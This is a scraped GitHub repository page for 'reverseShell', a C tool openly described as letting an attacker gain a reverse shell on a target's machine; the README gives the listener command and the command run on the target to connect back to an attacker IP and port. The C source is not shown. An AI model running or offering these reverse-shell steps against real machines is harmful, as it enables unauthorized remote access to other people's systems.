Skip to content

Attacker can use the scripts to gain reverse shell of a target's machine.

License

Notifications You must be signed in to change notification settings

Yashvendra/reverseShell

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

35 Commits
 
 
 
 
 
 
 
 
 
 

Repository files navigation

reverseShell

GitHub Issues contributions welcome

👨‍💻 Script in C which after compiling can be used by an Attacker to gain a shell of Target machine.

Usage

Firstly, you should compile the above C programs. In my case I used g++ compiler and gave the output files name as attacker and target respectively.

1. Setup a server and listen for incoming connections.

On your machine setup a server and start listening on a port.

./attacker 1234

2. Execute client script on target and setup a connection to the server

You can do this by simply executing the target compiled file

./target 192.168.0.2 1234

Now you should have gained a shell on the server machine.

Demo

Alt Text

License

MIT © y_k_007

Releases

No releases published

Packages

No packages published

Languages